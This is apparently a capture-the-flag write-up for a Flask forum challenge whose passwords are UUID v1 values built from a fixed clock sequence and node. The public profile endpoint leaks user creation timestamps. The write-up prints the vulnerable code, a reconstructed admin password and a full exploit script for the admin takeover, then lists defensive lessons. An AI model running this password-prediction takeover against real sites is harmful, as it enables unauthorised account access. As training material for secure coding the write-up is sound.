Форум предсказателей (Prediction Forum)
Форум предсказателей (Prediction Forum)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: Admin account takeover via password reconstruction, Information disclosure via public profile endpoint, Source code analysis for cryptographic weakness, UUID v1 password prediction from timestamp
Summary
Walkthrough of the CUSTOM Web Форум предсказателей (Prediction Forum). Task: Flask forum with UUID v1-based password generation and public profile endpoint exposing user timestamps. Solution: Extracted admin creation timestamp from public profile, reconstructed password
Description
Вы умеете предсказывать будущее? А узнавать чьё-то прошлое? Нет? Что ж, в любом случае нам пришёл новый заказ: оценить безопасность одного форума. Это по Вашей части и вряд ли в этом случае Вам нужно обладать экстрасенсорными навыками, потому что в IT-сфере магии не бывает.
Analysis
Vulnerability: Predictable UUID-based Password Generation
Source code analysis of the Flask application revealed a critical vulnerability in password generation:
-
Timestamp-based password generation: Passwords are generated by the
generate_uuid()function, which uses the user's registration time (created_at) -
Fixed cryptographic parameters: The function uses hardcoded values:
clock_seq = 0x89canode = 0x000c297433a0
-
Information Disclosure: The public endpoint
/profile/<id>exposes thecreated_attimestamp for any user -
Attack: Knowing the registration timestamp, an attacker can reconstruct any user's password
Vulnerable Code (app.py)
python read-only • copy alloweddef generate_uuid(timestamp_str): timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f") uuid_epoch = datetime(1582, 10, 15) intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7) clock_seq = 0x89ca # FIXED! node = 0x000c297433a0 # FIXED! uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF, (intervals >> 32) & 0xFFFF, ((intervals >> 48) & 0x0FFF) | (1 << 12), clock_seq >> 8, clock_seq & 0xFF, node)) return str(uuid1)
Security Issues
- UUID v1 is not meant for passwords - UUID v1 is deterministic when parameters are known
- Fixed clock_seq and node - Removes the only source of entropy
- Timestamp as the only secret - And it's publicly available via API
- Information Disclosure - User profiles expose critical information
Solution
Step 1: Obtaining the Admin's Timestamp
Access the admin's public profile at /profile/1:
Username: admin
created_at: 2025-01-22 00:42:26.053996
Step 2: Reconstructing the Password
Use the same generate_uuid() function with the obtained timestamp:
python read-only • copy allowedimport uuid from datetime import datetime def generate_uuid(timestamp_str): timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f") uuid_epoch = datetime(1582, 10, 15) intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7) clock_seq = 0x89ca node = 0x000c297433a0 uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF, (intervals >> 32) & 0xFFFF, ((intervals >> 48) & 0x0FFF) | (1 << 12), clock_seq >> 8, clock_seq & 0xFF, node)) return str(uuid1) admin_timestamp = "2025-01-22 00:42:26.053996" admin_password = generate_uuid(admin_timestamp) print(f"Admin password: {admin_password}") # Output: c03ac230-d859-11ef-89ca-000c297433a0
Step 3: Logging in as Admin
Username: admin
Password: c03ac230-d859-11ef-89ca-000c297433a0
Step 4: Obtaining the Flag
After logging in, accessing /profile shows the secret_word containing the flag.
Full Exploit
python read-only • copy allowed#!/usr/bin/env python3 """ Prediction Forum - UUID Password Prediction Attack HackerLab CTF """ import uuid import requests from datetime import datetime BASE_URL = "http://target:port" def generate_uuid(timestamp_str): """Reconstruct password from timestamp using vulnerable UUID generation""" timestamp = datetime.strptime(timestamp_str, "%Y-%m-%d %H:%M:%S.%f") uuid_epoch = datetime(1582, 10, 15) intervals = int((timestamp - uuid_epoch).total_seconds() * 1e7) clock_seq = 0x89ca # Fixed value from source code node = 0x000c297433a0 # Fixed value from source code uuid1 = uuid.UUID(fields=(intervals & 0xFFFFFFFF, (intervals >> 32) & 0xFFFF, ((intervals >> 48) & 0x0FFF) | (1 << 12), clock_seq >> 8, clock_seq & 0xFF, node)) return str(uuid1) def exploit(): session = requests.Session() # Step 1: Get admin's created_at timestamp from public profile print("[*] Fetching admin profile...") resp = session.get(f"{BASE_URL}/profile/1") # Parse created_at from response (implementation depends on response format) admin_timestamp = "2025-01-22 00:42:26.053996" # From profile page # Step 2: Predict admin password admin_password = generate_uuid(admin_timestamp) print(f"[+] Predicted admin password: {admin_password}") # Step 3: Login as admin print("[*] Logging in as admin...") resp = session.post(f"{BASE_URL}/login", data={ "username": "admin", "password": admin_password }) # Step 4: Get flag from profile print("[*] Fetching flag from profile...") resp = session.get(f"{BASE_URL}/profile") print(f"[+] Flag: {resp.text}") if __name__ == "__main__": exploit()
Lessons
- UUID v1 is not cryptographically secure - It's predictable when parameters are known
- Use UUID v4 - It's based on random numbers
- Use CSPRNG for passwords -
secrets.token_urlsafe()in Python - Don't expose creation timestamps - Or any information used in secret generation
- Principle of least privilege - Public profiles should not contain sensitive data
References
- UUID Version 1 Structure
- Python secrets module
- OWASP - Insecure Randomness
Key Takeaways / Lessons
- Mastering Admin account takeover via password reconstruction, Information disclosure via public profile endpoint, Source code analysis for cryptographic weakness, UUID v1 password prediction from timestamp was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Форум предсказателей (Prediction Forum) • Difficulty: Medium